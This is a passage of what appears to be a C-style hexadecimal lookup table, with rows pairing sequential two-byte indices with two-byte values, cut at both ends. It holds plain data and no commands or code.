0xFE, 0xa7, 0x19,\r\n0x00, 0x1E, 0xFF, 0xa8, 0x19,\r\n0x00, 0x1F, 0x00, 0xb9, 0x02,\r\n0x00, 0x1F, 0x01, 0xb9, 0x02,\r\n0x00, 0x1F, 0x02, 0xa9, 0x19,\r\n0x00, 0x1F, 0x03, 0xaa, 0x19,\r\n0x00, 0x1F, 0x04, 0xab, 0x19,\r\n0x00, 0x1F, 0x05, 0xac, 0x19,\r\n0x00, 0x1F, 0x06, 0xd5, 0x00,\r\n0x00, 0x1F, 0x07, 0xad, 0x19,\r\n0x00, 0x1F, 0x08, 0xae, 0x19,\r\n0x00, 0x1F, 0x09, 0xaf, 0x19,\r\n0x00, 0x1F, 0x0A, 0x69, 0x01,\r\n0x00, 0x1F, 0x0B, 0x6a, 0x11,\r\n0x00, 0x1F, 0x0C, 0xe9, 0x03,\r\n0x00, 0x1F, 0x0D, 0xb0, 0x19,\r\n0x00, 0x1F, 0x0E, 0xb1, 0x19,\r\n0x00, 0x1F, 0x0F, 0xb2, 0x19,\r\n0x00, 0x1F, 0x10, 0xb3, 0x19,\r\n0x00, 0x1F, 0x11, 0xb4, 0x19,\r\n0x00, 0x1F, 0x12, 0x08, 0x05,\r\n0x00, 0x1F, 0x13, 0xb5, 0x19,\r\n0x00, 0x1F, 0x14, 0xb6, 0x19,\r\n0x00, 0x1F, 0x15, 0xb7, 0x19,\r\n0x00, 0x1F, 0x16, 0xc9, 0x09,\r\n0x00, 0x1F, 0x17, 0xb8, 0x19,\r\n0x00, 0x1F, 0x18, 0xb9, 0x19,\r\n0x00, 0x1F, 0x19, 0xba, 0x19,\r\n0x00, 0x1F, 0x1A, 0xbb, 0x19,\r\n0x00, 0x1F, 0x1B, 0xbc, 0x19,\r\n0x00, 0x1F, 0x1C, 0xbd, 0x19,\r\n0x00, 0x1F, 0x1D, 0xbe, 0x19,\r\n0x00, 0x1F, 0x1E, 0xbf, 0x19,\r\n0x00, 0x1F, 0x1F, 0x9f, 0x0c,\r\n0x00, 0x1F, 0x20, 0xc0, 0x19,\r\n0x00, 0x1F, 0x21, 0xc1, 0x19,\r\n0x00, 0x1F, 0x22, 0x23, 0x06,\r\n0x00, 0x1F, 0x23, 0xc2, 0x19,\r\n0x00, 0x1F, 0x24, 0xc3, 0x19,\r\n0x00, 0x1F, 0x25, 0xc4, 0x19,\r\n0x00, 0x1F, 0x26, 0x05, 0x00,\r\n0x00, 0x1F, 0x27, 0x05, 0x00,\r\n0x00, 0x1F, 0x28, 0xa5, 0x17,\r\n0x00, 0x1F, 0x29, 0xc9, 0x01,\r\n0x00, 0x1F, 0x2A, 0xc5, 0x19,\r\n0x00, 0x1F, 0x2B, 0xc6, 0x19,\r\n0x00, 0x1F, 0x2C, 0xc7, 0x19,\r\n0x00, 0x1F, 0x2D, 0xc8, 0x19,\r\n0x00, 0x1F, 0x2E, 0xc9, 0x19,\r\n0x00, 0x1F, 0x2F, 0xca, 0x19,\r\n0x00, 0x1F, 0x30, 0xcb, 0x19,\r\n0x00, 0x1F, 0x31, 0xe6, 0x14,\r\n0x00, 0x1F, 0x32, 0xc5, 0x08,\r\n0x00, 0x1F, 0x33, 0x68, 0x08,\r\n0x00, 0x1F, 0x34, 0xcc, 0x19,\r\n0x00, 0x1F, 0x35, 0xcd, 0x19,\r\n0x00, 0x1F, 0x36, 0xce, 0x19,\r\n0x00, 0x1F, 0x37, 0xcf, 0x19,\r\n0x00, 0x1F, 0x38, 0x7c, 0x0b,\r\n0x00, 0x1F, 0x39, 0xd0, 0x19,\r\n0x00, 0x1F, 0x3A, 0xe3, 0x11,\r\n0x00, 0x1F, 0x3B, 0x80, 0x10,\r\n0x00, 0x1F, 0x3C, 0x80, 0x10,\r\n0x00, 0x1F, 0x3D, 0xd1, 0x19,\r\n0x00, 0x1F, 0x3E, 0xd2, 0x19,\r\n0x00, 0x1F, 0x3F, 0xc3, 0x03,\r\n0x00, 0x1F, 0x40, 0xd3, 0x19,\r\n0x00, 0x1F, 0x41, 0x02, 0x11,\r\n0x00, 0x1F, 0x42, 0xd4, 0x19,\r\n0x00, 0x1F, 0x43, 0xd5, 0x19,\r\n0x00, 0x1F, 0x44, 0xd6, 0x19,\r\n0x00, 0x1F, 0x45, 0xd6, 0x01,\r\n0x00, 0x1F, 0x46, 0x69, 0x01,\r\n0x00, 0x1F, 0x47, 0xd7, 0x19,\r\n0x00, 0x1F, 0x48, 0xd8, 0x19,\r\n0x00, 0x1F, 0x49, 0xd9, 0x19,\r\n0x00, 0x1F, 0x4A, 0xda, 0x19,\r\n0x00, 0x1F, 0x4B, 0xdb, 0x19,\r\n0x00, 0x1F, 0x4C, 0xdc, 0x19,\r\n0x00, 0x1F, 0x4D, 0xdd, 0x19,\r\n0x00, 0x1F, 0x4E, 0xde, 0x19,\r\n0x00, 0x1F, 0x4F, 0xdf, 0x19,\r\n0x00, 0x1F, 0x50, 0xe0, 0x19,\r\n0x00, 0x1F, 0x51, 0xe1, 0x19,\r\n0x00, 0x1F, 0x52, 0xe2, 0x19,\r\n0x00, 0x1F, 0x53, 0xe3, 0x19,\r\n0x00, 0x1F, 0x54, 0xe4, 0x19,\r\n0x00, 0x1F, 0x55, 0xc2, 0x05,\r\n0x00, 0x1F, 0x56, 0x53, 0x04,\r\n0x00, 0x1F, 0x57, 0xe5, 0x19,\r\n0x00, 0x1F, 0x58, 0xe6, 0x19,\r\n0x00, 0x1F, 0x59, 0xe7, 0x19,\r\n0x00, 0x1F, 0x5A, 0xe8, 0x19,\r\n0x00, 0x1F, 0x5B, 0x51, 0x03,\r\n0x00, 0x1F, 0x5C, 0xb9, 0x02,\r\n0x00, 0x1F, 0x5D, 0xb9, 0x02,\r\n0x00, 0x1F, 0x5E, 0xe9, 0x19,\r\n0x00, 0x1F, 0x5F, 0xea, 0x19,\r\n0x00, 0x1F, 0x60, 0xeb, 0x19,\r\n0x00, 0x1F, 0x61, 0xec, 0x19,\r\n0x00, 0x1F, 0x62, 0xed, 0x19,\r\n0x00, 0x1F, 0x63, 0xee, 0x19,\r\n0x00, 0x1F, 0x64, 0xef, 0x19,\r\n0x00, 0x1F, 0x65, 0x43, 0x16,\r\n0x00, 0x1F, 0x66, 0xf0, 0x19,\r\n0x00, 0x1F, 0x67, 0x7f, 0x00,\r\n0x00, 0x1F, 0x68, 0xf1, 0x19,\r\n0x00, 0x1F, 0x69, 0xf2, 0x19,\r\n0x00, 0x1F, 0x6A, 0xf3, 0x19,\r\n0x00, 0x1F, 0x6B, 0xce, 0x17,\r\n0x00, 0x1F, 0x6C, 0x05, 0x00,\r\n0x00, 0x1F, 0x6D, 0x05, 0x00,\r\n0x00, 0x1F, 0x6E, 0x71, 0x0f,\r\n0x00, 0x1F, 0x6F, 0xf4, 0x19,\r\n0x00, 0x1F, 0x70, 0xf5, 0x19,\r\n0x00, 0x1F, 0x71, 0xf6, 0x19,\r\n0x00, 0x1F, 0x72, 0xf7, 0x19,\r\n0x00, 0x1F, 0x73, 0xf8, 0x19,\r\n0x00, 0x1F, 0x74, 0xf9, 0x19,\r\n0x00, 0x1F, 0x75, 0xfa, 0x19,\r\n0x00, 0x1F, 0x76, 0x00, 0x0a,\r\n0x00, 0x1F, 0x77, 0xfb, 0x19,\r\n0x00, 0x1F, 0x78, 0xfc, 0x19,\r\n0x00, 0x1F, 0x79, 0xfd, 0x19,\r\n0x00, 0x1F, 0x7A, 0xfe, 0x19,\r\n0x00, 0x1F, 0x7B, 0xff, 0x19,\r\n0x00, 0x1F, 0x7C, 0x00, 0x1a,\r\n0x00, 0x1F, 0x7D, 0xd0, 0x06,\r\n0x00, 0x1F, 0x7E, 0xb9, 0x00,\r\n0x00, 0x1F, 0x7F, 0x01, 0x1a,\r\n0x00, 0x1F, 0x80, 0x02, 0x1a,\r\n0x00, 0x1F, 0x81, 0x03, 0x1a,\r\n0x00, 0x1F, 0x82, 0x09, 0x0a,\r\n0x00, 0x1F, 0x83, 0x04, 0x1a,\r\n0x00, 0x1F, 0x84, 0x05, 0x1a,\r\n0x00, 0x1F, 0x85, 0x06, 0x1a,\r\n0x00, 0x1F, 0x86, 0x07, 0x1a,\r\n0x00, 0x1F, 0x87, 0x08, 0x1a,\r\n0x00, 0x1F, 0x88, 0x09, 0x1a,\r\n0x00, 0x1F, 0x89, 0x0a, 0x1a,\r\n0x00, 0x1F, 0x8A, 0x0b, 0x1a,\r\n0x00, 0x1F, 0x8B, 0x0c, 0x1a,\r\n0x00, 0x1F, 0x8C, 0x0d, 0x1a,\r\n0x00, 0x1F, 0x8D, 0x0e, 0x1a,\r\n0x00, 0x1F, 0x8E, 0x0f, 0x1a,\r\n0x00, 0x1F, 0x8F, 0x0e, 0x03,\r\n0x00, 0x1F, 0x90, 0xe7, 0x0d,\r\n0x00, 0x1F, 0x91, 0x10, 0x1a,\r\n0x00, 0x1F, 0x92, 0xdd, 0x14,\r\n0x00, 0x1F, 0x93, 0x11, 0x1a,\r\n0x00, 0x1F, 0x94, 0x12, 0x1a,\r\n0x00, 0x1F, 0x95, 0xc4, 0x0c,\r\n0x00, 0x1F, 0x96, 0x13, 0x1a,\r\n0x00, 0x1F, 0x97, 0x14, 0x1a,\r\n0x00, 0x1F, 0x98, 0x15, 0x1a,\r\n0x00, 0x1F, 0x99, 0x16, 0x1a,\r\n0x00, 0x1F, 0x9A, 0x69, 0x01,\r\n0x00, 0x1F, 0x9B, 0x17, 0x1a,\r\n0x00, 0x1F, 0x9C, 0x18, 0x1a,\r\n0x00, 0x1F, 0x9D, 0x05, 0x00,\r\n0x00, 0x1F, 0x9E, 0x05, 0x00,\r\n0x00, 0x1F, 0x9F, 0xbc, 0x0c,\r\n0x00, 0x1F, 0xA0, 0x19, 0x1a,\r\n0x00, 0x1F, 0xA1, 0x1a, 0x1a,\r\n0x00, 0x1F, 0xA2, 0x1b, 0x1a,\r\n0x00, 0x1F, 0xA3, 0x93, 0x19,\r\n0x00, 0x1F, 0xA4, 0xe9, 0x01,\r\n0x00, 0x1F, 0xA5, 0x1c, 0x1a,\r\n0x00, 0x1F, 0xA6, 0x1d, 0x1a,\r\n0x00, 0x1F, 0xA7, 0xd3, 0x03,\r\n0x00, 0x1F, 0xA8, 0x1e, 0x1a,\r\n0x00, 0x1F, 0xA9, 0x1f, 0x1a,\r\n0x00, 0x1F, 0xAA, 0x20, 0x1a,\r\n0x00, 0x1F, 0xAB, 0x21, 0x1a,\r\n0x00, 0x1F, 0xAC, 0x22, 0x1a,\r\n0x00, 0x1F, 0xAD, 0x23, 0x1a,\r\n0x00, 0x1F, 0xAE, 0x24, 0x1a,\r\n0x00, 0x1F, 0xAF, 0x25, 0x1a,\r\n0x00, 0x1F, 0xB0, 0x26, 0x1a,\r\n0x00, 0x1F, 0xB1, 0x47, 0x18,\r\n0x00, 0x1F, 0xB2, 0x27, 0x1a,\r\n0x00, 0x1F, 0xB3, 0x02, 0x0c,\r\n0x00, 0x1F, 0xB4, 0x28, 0x1a,\r\n0x00, 0x1F, 0xB5, 0x29, 0x1a,\r\n0x00, 0x1F, 0xB6, 0x2a, 0x1a,\r\n0x00, 0x1F, 0xB7, 0x2b, 0x1a,\r\n0x00, 0x1F, 0xB8, 0x0a, 0x01,\r\n0x00, 0x1F, 0xB9, 0x2c, 0x1a,\r\n0x00, 0x1F, 0xBA, 0x2d, 0x1a,\r\n0x00, 0x1F, 0xBB, 0x2e, 0x1a,\r\n0x00, 0x1F, 0xBC, 0x2f, 0x1a,\r\n0x00, 0x1F, 0xBD, 0xae, 0x11,\r\n0x00, 0x1F, 0xBE, 0xe9, 0x01,\r\n0x00, 0x1F, 0xBF, 0x30, 0x1a,\r\n0x00, 0x1F, 0xC0, 0x31, 0x1a,\r\n0x00, 0x1F, 0xC1, 0x32, 0x1a,\r\n0x00, 0x1F, 0xC2, 0x33, 0x1a,\r\n0x00, 0x1F, 0xC3, 0x34, 0x1a,\r\n0x00, 0x1F, 0xC4, 0xb9, 0x00,\r\n0x00, 0x1F, 0xC5, 0xc5, 0x08,\r\n0x00, 0x1F, 0xC6, 0x20, 0x0b,\r\n0x00, 0x1F, 0xC7, 0x35, 0x1a,\r\n0x00, 0x1F, 0xC8, 0x36, 0x1a,\r\n0x00, 0x1F, 0xC9, 0x05, 0x00,\r\n0x00, 0x1F, 0xCA, 0x05, 0x00,\r\n0x00, 0x1F, 0xCB, 0x37, 0x1a,\r\n0x00, 0x1F, 0xCC, 0x4f, 0x02,\r\n0x00, 0x1F, 0xCD, 0x4f, 0x02,\r\n0x00, 0x1F, 0xCE, 0x38, 0x1a,\r\n0x00, 0x1F, 0xCF, 0x39, 0x1a,\r\n0x00, 0x1F, 0xD0, 0xf4, 0x0b,\r\n0x00, 0x1F, 0xD1, 0x3a, 0x1a,\r\n0x00, 0x1F, 0xD2, 0x96, 0x04,\r\n0x00, 0x1F, 0xD3, 0x3b, 0x1a,\r\n0x00, 0x1F, 0xD4, 0x3c, 0x1a,\r\n0x00, 0x1F, 0xD5, 0x3d, 0x1a,\r\n0x00, 0x1F, 0xD6, 0xe9, 0x01,\r\n0x00, 0x1F, 0xD7, 0x3e, 0x1a,\r\n0x00, 0x1F, 0xD8, 0x3f, 0x1a,\r\n0x00, 0x1F, 0xD9, 0x40, 0x1a,\r\n0x00, 0x1F, 0xDA, 0x69, 0x01,\r\n0x00, 0x1F, 0xDB, 0x41, 0x1a,\r\n0x00, 0x1F, 0xDC, 0x42, 0x1a,\r\n0x00, 0x1F, 0xDD, 0x43, 0x1a,\r\n0x00, 0x1F, 0xDE, 0xb9, 0x02,\r\n0x00, 0x1F, 0xDF, 0xb9, 0x02,\r\n0x00, 0x1F, 0xE0, 0x44, 0x1a,\r\n0x00, 0x1F, 0xE1, 0xe3, 0x11,\r\n0x00, 0x1F, 0xE2, 0xe3, 0x11,\r\n0x00, 0x1F, 0xE3, 0xce, 0x17,\r\n0x00, 0x1F, 0xE4, 0xbe, 0x09,\r\n0x00, 0x1F, 0xE5, 0x45, 0x1a,\r\n0x00, 0x1F, 0xE6, 0x46, 0x1a,\r\n0x00, 0x1F, 0xE7, 0x47, 0x1a,\r\n0x00, 0x1F, 0xE8, 0x48, 0x1a,\r\n0x00, 0x1F, 0xE9, 0x49, 0x1a,\r\n0x00, 0x1F, 0xEA, 0xe7, 0x00,\r\n0x00, 0x1F, 0xEB, 0x4a, 0x1a,\r\n0x00, 0x1F, 0xEC, 0xa3, 0x17,\r\n0x00, 0x1F, 0xED, 0x4b, 0x1a,\r\n0x00, 0x1F, 0xEE, 0x4c, 0x1a,\r\n0x00, 0x1F, 0xEF, 0x4d, 0x1a,\r\n0x00, 0x1F, 0xF0, 0x4e, 0x1a,\r\n0x00, 0x1F, 0xF1, 0x4f, 0x1a,\r\n0x00, 0x1F, 0xF2, 0x50, 0x1a,\r\n0x00, 0x1F, 0xF3, 0x51, 0x03,\r\n0x00, 0x1F, 0xF4, 0x51, 0x1a,\r\n0x00, 0x1F, 0xF5, 0x3e, 0x05,\r\n0x00, 0x1F, 0xF6, 0x52, 0x1a,\r\n0x00, 0x1F, 0xF7, 0x53, 0x1a,\r\n0x00, 0x1F, 0xF8, 0xff, 0x09,\r\n0x00, 0x1F, 0xF9, 0xf7, 0x01,\r\n0x00, 0x1F, 0xFA, 0x54, 0x1a,\r\n0x00, 0x1F, 0xFB, 0x55, 0x1a,\r\n0x00, 0x1F, 0xFC, 0x56, 0x1a,\r\n0x00, 0x1F, 0xFD, 0x57, 0x1a,\r\n0x00, 0x1F, 0xFE, 0xa5, 0x17,\r\n0x00, 0x1F, 0xFF, 0x58, 0x1a,\r\n0x00, 0x20, 0x00, 0xb5, 0x03,\r\n0x00, 0x20, 0x01, 0x59, 0x1a,\r\n0x00, 0x20, 0x02, 0x5a, 0x1a,\r\n0x00, 0x20, 0x03, 0x5b, 0x1a,\r\n0x00, 0x20, 0x04, 0x5c, 0x1a,\r\n0x00, 0x20, 0x05, 0x5d, 0x1a,\r\n0x00, 0x20, 0x06, 0x5e, 0x1a,\r\n0x00, 0x20, 0x07, 0x5f, 0x1a,\r\n0x00, 0x20, 0x08, 0x60, 0x1a,\r\n0x00, 0x20, 0x09, 0x61, 0x1a,\r\n0x00, 0x20, 0x0A, 0x62, 0x1a,\r\n0x00, 0x20, 0x0B, 0x63, 0x1a,\r\n0x00, 0x20, 0x0C, 0x64, 0x1a,\r\n0x00, 0x20, 0x0D, 0x65, 0x1a,\r\n0x00, 0x20, 0x0E, 0x66, 0x1a,\r\n0x00, 0x20, 0x0F, 0x67, 0x1a,\r\n0x00, 0x20, 0x10, 0x68, 0x1a,\r\n0x00, 0x20, 0x11, 0x69, 0x1a,\r\n0x00, 0x20, 0x12, 0x6a, 0x1a,\r\n0x00, 0x20, 0x13, 0xb2, 0x15,\r\n0x00, 0x20, 0x14, 0x5c, 0x02,\r\n0x00, 0x20, 0x15, 0x6b, 0x1a,\r\n0x00, 0x20, 0x16, 0x6c, 0x1a,\r\n0x00, 0x20, 0x17, 0x6d, 0x1a,\r\n0x00, 0x20, 0x18, 0xf9, 0x00,\r\n0x00, 0x20, 0x19, 0x6e, 0x1a,\r\n0x00, 0x20, 0x1A, 0xef, 0x0d,\r\n0x00, 0x20, 0x1B, 0x2c, 0x05,\r\n0x00, 0x20, 0x1C, 0x6f, 0x1a,\r\n0x00, 0x20, 0x1D, 0x70, 0x1a,\r\n0x00, 0x20, 0x1E, 0x71, 0x1a,\r\n0x00, 0x20, 0x1F, 0x72, 0x1a,\r\n0x00, 0x20, 0x20, 0x73, 0x1a,\r\n0x00, 0x20, 0x21, 0x74, 0x1a,\r\n0x00, 0x20, 0x22, 0x75, 0x1a,\r\n0x00, 0x20, 0x23, 0x76, 0x1a,\r\n0x00, 0x20, 0x24, 0x77, 0x1a,\r\n0x00, 0x20, 0x25, 0xbc, 0x0b,\r\n0x00, 0x20, 0x26, 0x78, 0x1a,\r\n0x00, 0x20, 0x27, 0x79, 0x1a,\r\n0x00, 0x20, 0x28, 0x7a, 0x1a,\r\n0x00, 0x20, 0x29, 0x7b, 0x1a,\r\n0x00, 0x20, 0x2A, 0x7c, 0x1a,\r\n0x00, 0x20, 0x2B, 0x7d, 0x1a,\r\n0x00, 0x20, 0x2C, 0x7e, 0x1a,\r\n0x00, 0x20, 0x2D, 0x7f, 0x1a,\r\n0x00, 0x20, 0x2E, 0x80, 0x1a,\r\n0x00, 0x20, 0x2F, 0x81, 0x1a,\r\n0x00, 0x20, 0x30, 0x82, 0x1a,\r\n0x00, 0x20, 0x31, 0x9b, 0x00,\r\n0x00, 0x20, 0x32, 0x83, 0x1a,\r\n0x00, 0x20, 0x33, 0x84, 0x1a,\r\n0x00, 0x20, 0x34, 0x85, 0x1a,\r\n0x00, 0x20, 0x35, 0x86, 0x1a,\r\n0x00, 0x20, 0x36, 0x87, 0x1a,\r\n0x00, 0x20, 0x37, 0x70, 0x04,\r\n0x00, 0x20, 0x38, 0x88, 0x1a,\r\n0x00, 0x20, 0x39, 0x89, 0x1a,\r\n0x00, 0x20, 0x3A, 0x8a, 0x1a,\r\n0x00, 0x20, 0x3B, 0x8b, 0x1a,\r\n0x00, 0x20, 0x3C, 0x8c, 0x1a,\r\n0x00, 0x20, 0x3D, 0xc2, 0x05,\r\n0x00, 0x20, 0x3E, 0x8d, 0x1a,\r\n0x00, 0x20, 0x3F, 0x8e, 0x1a,\r\n0x00, 0x20, 0x40, 0xb9, 0x00,\r\n0x00, 0x20, 0x41, 0x8f, 0x1a,\r\n0x00, 0x20, 0x42, 0x90, 0x1a,\r\n0x00, 0x20, 0x43, 0x91, 0x1a,\r\n0x00, 0x20, 0x44, 0x92, 0x1a,\r\n0x00, 0x20, 0x45, 0x93, 0x1a,\r\n0x00, 0x20, 0x46, 0x94, 0x1a,\r\n0x00, 0x20, 0x47, 0x95, 0x1a,\r\n0x00, 0x20, 0x48, 0x96, 0x1a,\r\n0x00, 0x20, 0x49, 0x97, 0x1a,\r\n0x00, 0x20, 0x4A, 0x98, 0x1a,\r\n0x00, 0x20, 0x4B, 0x99, 0x1a,\r\n0x00, 0x20, 0x4C, 0x9a, 0x1a,\r\n0x00, 0x20, 0x4D, 0x9b, 0x1a,\r\n0x00, 0x20, 0x4E, 0x41, 0x1a,\r\n0x00, 0x20, 0x4F, 0x9c, 0x1a,\r\n0x00, 0x20, 0x50, 0x30, 0x05,\r\n0x00, 0x20, 0x51, 0x9d, 0x1a,\r\n0x00, 0x20, 0x52, 0x9e, 0x1a,\r\n0x00, 0x20, 0x53, 0x9f, 0x1a,\r\n0x00, 0x20, 0x54, 0xa0, 0x1a,\r\n0x00, 0x20, 0x55, 0xa1, 0x1a,\r\n0x00, 0x20, 0x56, 0xa2, 0x1a,\r\n0x00, 0x20, 0x57, 0xa3, 0x1a,\r\n0x00, 0x20, 0x58, 0xa4, 0x1a,\r\n0x00, 0x20, 0x59, 0xa5, 0x1a,\r\n0x00, 0x20, 0x5A, 0x63, 0x00,\r\n0x00, 0x20, 0x5B, 0xa6, 0x1a,\r\n0x00, 0x20, 0x5C, 0x8e, 0x03,\r\n0x00, 0x20, 0x5D, 0xa7, 0x1a,\r\n0x00, 0x20, 0x5E, 0xa8, 0x1a,\r\n0x00, 0x20, 0x5F, 0xa9, 0x1a,\r\n0x00, 0x20, 0x60, 0xaa, 0x1a,\r\n0x00, 0x20, 0x61, 0xab, 0x1a,\r\n0x00, 0x20, 0x62, 0xac, 0x1a,\r\n0x00, 0x20, 0x63, 0xad, 0x1a,\r\n0x00, 0x20, 0x64, 0xae, 0x1a,\r\n0x00, 0x20, 0x65, 0x7c, 0x00,\r\n0x00, 0x20, 0x66, 0xa0, 0x11,\r\n0x00, 0x20, 0x67, 0x3f, 0x02,\r\n0x00, 0x20, 0x68, 0xaf, 0x1a,\r\n0x00, 0x20, 0x69, 0xb0, 0x1a,\r\n0x00, 0x20, 0x6A, 0xb1, 0x1a,\r\n0x00, 0x20, 0x6B, 0xb2, 0x1a,\r\n0x00, 0x20, 0x6C, 0xb3, 0x1a,\r\n0x00, 0x20, 0x6D, 0xb4, 0x1a,\r\n0x00, 0x20, 0x6E, 0xb5, 0x1a,\r\n0x00, 0x20, 0x6F, 0xb6, 0x1a,\r\n0x00, 0x20, 0x70, 0xb7, 0x1a,\r\n0x00, 0x20, 0x71, 0xb8, 0x1a,\r\n0x00, 0x20, 0x72, 0xb9, 0x1a,\r\n0x00, 0x20, 0x73, 0xba, 0x1a,\r\n0x00, 0x20, 0x74, 0xbb, 0x1a,\r\n0x00, 0x20, 0x75, 0x22, 0x09,\r\n0x00, 0x20, 0x76, 0xbc, 0x1a,\r\n0x00, 0x20, 0x77, 0xbd, 0x1a,\r\n0x00, 0x20, 0x78, 0x2d, 0x03,\r\n0x00, 0x20, 0x79, 0xbe, 0x1a,\r\n0x00, 0x20, 0x7A, 0xbf, 0x1a,\r\n0x00, 0x20, 0x7B, 0x82, 0x02,\r\n0x00, 0x20, 0x7C, 0xc0, 0x1a,\r\n0x00, 0x20, 0x7D, 0xf7, 0x01,\r\n0x00, 0x20, 0x7E, 0xc1, 0x1a,\r\n0x00, 0x20, 0x7F, 0xc2, 0x1a,\r\n0x00, 0x20, 0x80, 0xc3, 0x1a,\r\n0x00, 0x20, 0x81, 0x7a, 0x04,\r\n0x00, 0x20, 0x82, 0xc4, 0x1a,\r\n0x00, 0x20, 0x83, 0xc5, 0x1a,\r\n0x00, 0x20, 0x84, 0xc6, 0x1a,\r\n0x00, 0x20, 0x85, 0x6c, 0x0b,\r\n0x00, 0x20, 0x86, 0xa8, 0x08,\r\n0x00, 0x20, 0x87, 0xc7, 0x1a,\r\n0x00, 0x20, 0x88, 0x5c, 0x02,\r\n0x00, 0x20, 0x89, 0xc8, 0x1a,\r\n0x00, 0x20, 0x8A, 0xc9, 0x1a,\r\n0x00, 0x20, 0x8B, 0xca, 0x1a,\r\n0x00, 0x20, 0x8C, 0xcb, 0x1a,\r\n0x00, 0x20, 0x8D, 0xcc, 0x1a,\r\n0x00, 0x20, 0x8E, 0xcd, 0x1a,\r\n0x00, 0x20, 0x8F, 0xee, 0x01,\r\n0x00, 0x20, 0x90, 0xf7, 0x01,\r\n0x00, 0x20, 0x91, 0xce, 0x1a,\r\n0x00, 0x20, 0x92, 0xcf, 0x1a,\r\n0x00, 0x20, 0x93, 0xd0, 0x1a,\r\n0x00, 0x20, 0x94, 0xd1, 0x1a,\r\n0x00, 0x20, 0x95, 0xd2, 0x1a,\r\n0x00, 0x20, 0x96, 0xd3, 0x1a,\r\n0x00, 0x20, 0x97, 0xd4, 0x1a,\r\n0x00, 0x20, 0x98, 0xa2, 0x12,\r\n0x00, 0x20, 0x99, 0xa2, 0x07,\r\n0x00, 0x20, 0x9A, 0xd5, 0x1a,\r\n0x00, 0x20, 0x9B, 0xd6, 0x1a,\r\n0x00, 0x20, 0x9C, 0xd7, 0x1a,\r\n0x00, 0x20, 0x9D, 0xd8, 0x1a,\r\n0x00, 0x20, 0x9E, 0xd9, 0x1a,\r\n0x00, 0x20, 0x9F, 0xda, 0x1a,\r\n0x00, 0x20, 0xA0, 0xdb, 0x1a,\r\n0x00, 0x20, 0xA1, 0xdc, 0x1a,\r\n0x00, 0x20, 0xA2, 0xdd, 0x1a,\r\n0x00, 0x20, 0xA3, 0x60, 0x09,\r\n0x00, 0x20, 0xA4, 0xde, 0x1a,\r\n0x00, 0x20, 0xA5, 0xdf, 0x1a,\r\n0x00, 0x20, 0xA6, 0xe0, 0x1a,\r\n0x00, 0x20, 0xA7, 0xe1, 0x1a,\r\n0x00, 0x20, 0xA8, 0xe2, 0x1a,\r\n0x00, 0x20, 0xA9, 0xe3, 0x1a,\r\n0x00, 0x20, 0xAA, 0xce, 0x01,\r\n0x00, 0x20, 0xAB, 0xe4, 0x1a,\r\n0x00, 0x20, 0xAC, 0xe5, 0x1a,\r\n0x00, 0x20, 0xAD, 0xe6, 0x1a,\r\n0x00, 0x20, 0xAE, 0xe7, 0x1a,\r\n0x00, 0x20, 0xAF, 0xf2, 0x00,\r\n0x00, 0x20, 0xB0, 0xe8, 0x1a,\r\n0x00, 0x20, 0xB1, 0xe9, 0x1a,\r\n0x00, 0x20, 0xB2, 0xea, 0x1a,\r\n0x00, 0x20, 0xB3, 0x9b, 0x00,\r\n0x00, 0x20, 0xB4, 0xeb, 0x1a,\r\n0x00, 0x20, 0xB5, 0xec, 0x1a,\r\n0x00, 0x20, 0xB6, 0xed, 0x1a,\r\n0x00, 0x20, 0xB7, 0xee, 0x1a,\r\n0x00, 0x20, 0xB8, 0xef, 0x1a,\r\n0x00, 0x20, 0xB9, 0xf0, 0x1a,\r\n0x00, 0x20, 0xBA, 0xf1, 0x1a,\r\n0x00, 0x20, 0xBB, 0xf2, 0x1a,\r\n0x00, 0x20, 0xBC, 0xf3, 0x1a,\r\n0x00, 0x20, 0xBD, 0xf4, 0x1a,\r\n0x00, 0x20, 0xBE, 0xf5, 0x1a,\r\n0x00, 0x20, 0xBF, 0xf6, 0x1a,\r\n0x00, 0x20, 0xC0, 0xf7, 0x1a,\r\n0x00, 0x20, 0xC1, 0x0a, 0x02,\r\n0x00, 0x20, 0xC2, 0xf8, 0x1a,\r\n0x00, 0x20, 0xC3, 0xf9, 0x1a,\r\n0x00, 0x20, 0xC4, 0xfa, 0x1a,\r\n0x00, 0x20, 0xC5, 0xfb, 0x1a,\r\n0x00, 0x20, 0xC6, 0xfc, 0x1a,\r\n0x00, 0x20, 0xC7, 0xfd, 0x1a,\r\n0x00, 0x20, 0xC8, 0xfe, 0x1a,\r\n0x00, 0x20, 0xC9, 0xff, 0x1a,\r\n0x00, 0x20, 0xCA, 0x00, 0x1b,\r\n0x00, 0x20, 0xCB, 0x01, 0x1b,\r\n0x00, 0x20, 0xCC, 0x54, 0x18,\r\n0x00, 0x20, 0xCD, 0x02, 0x1b,\r\n0x00, 0x20, 0xCE, 0x03, 0x1b,\r\n0x00, 0x20, 0xCF, 0x04, 0x1b,\r\n0x00, 0x20, 0xD0, 0x05, 0x1b,\r\n0x00, 0x20, 0xD1, 0x88, 0x00,\r\n0x00, 0x20, 0xD2, 0x06, 0x1b,\r\n0x00, 0x20, 0xD3, 0x07, 0x1b,\r\n0x00, 0x20, 0xD4, 0x16, 0x00,\r\n0x00, 0x20, 0xD5, 0x08, 0x1b,\r\n0x00, 0x20, 0xD6, 0x3b, 0x04,\r\n0x00, 0x20, 0xD7, 0x09, 0x1b,\r\n0x00, 0x20, 0xD8, 0x69, 0x01,\r\n0x00, 0x20, 0xD9, 0x5e, 0x0d,\r\n0x00, 0x20, 0xDA, 0xd1, 0x06,\r\n0x00, 0x20, 0xDB, 0xb2, 0x04,\r\n0x00, 0x20, 0xDC, 0x0a, 0x1b,\r\n0x00, 0x20, 0xDD, 0x47, 0x18,\r\n0x00, 0x20, 0xDE, 0x0b, 0x1b,\r\n0x00, 0x20, 0xDF, 0x0c, 0x1b,\r\n0x00, 0x20, 0xE0, 0xe7, 0x0d,\r\n0x00, 0x20, 0xE1, 0x0d, 0x1b,\r\n0x00, 0x20, 0xE2, 0x0b, 0x00,\r\n0x00, 0x20, 0xE3, 0x0e, 0x1b,\r\n0x00, 0x20, 0xE4, 0x0f, 0x1b,\r\n0x00, 0x20, 0xE5, 0x10, 0x1b,\r\n0x00, 0x20, 0xE6, 0x11, 0x1b,\r\n0x00, 0x20, 0xE7, 0x12, 0x1b,\r\n0x00, 0x20, 0xE8, 0x13, 0x1b,\r\n0x00, 0x20, 0xE9, 0x14, 0x1b,\r\n0x00, 0x20, 0xEA, 0x15, 0x1b,\r\n0x00, 0x20, 0xEB, 0x16, 0x1b,\r\n0x00, 0x20, 0xEC, 0x17, 